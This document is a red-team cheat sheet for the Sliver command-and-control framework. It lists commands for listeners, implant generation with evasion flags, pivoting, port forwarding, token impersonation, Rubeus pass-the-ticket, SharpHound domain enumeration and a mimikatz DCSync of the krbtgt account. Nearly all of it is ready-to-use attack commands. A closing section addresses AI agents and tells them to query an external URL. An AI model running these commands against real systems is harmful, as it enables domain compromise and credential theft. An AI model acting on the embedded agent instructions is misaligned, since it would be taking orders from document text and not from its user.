# Sliver

### Start a Listener

```
mtls -L IP -l PORT
```

### Generate a Payload

```
generate --mtls IP:PORT --os linux/windows --save OUTFILE
```

### Generate without Shikata ga nai (no rwx needed)

```
generate --tcp-pivot/--mtls IP:PORT --os windows -e -G -f shellcode --save out.bin
```

### Start a Pivot Listener

```
pivots tcp --bind IP -l PORT
```

### Remove Pivots / Jobs

```
jobs
jobs -k ID
```

### PortForward

```
portfwd add -b 127.0.0.1:8080 -r IP:PORT
```

### Remove PortFwd

```
# list
portfwd

#remove 
portfwd rm -i ID
```

### Make Token

```
make-token -u USER -d DOMAIN -p PASSWORD --logon-type LOGON_NETWORK_CLEARTEXT
```

### Rubeus

```
rubeus -- asktgt /user:USER /password:PASS /ptt
```

### SharpHound

```
sharp-hound-4 -t 360 -- -c All -s --recursedomains --outputdirectory 'C:\Windows\Temp'
```

### DCSync

```
mimikatz -- 'lsadump::dcsync /domain:DOMAIN /user:krbtgt'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cheats.philkeeble.com/red-teaming/sliver.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
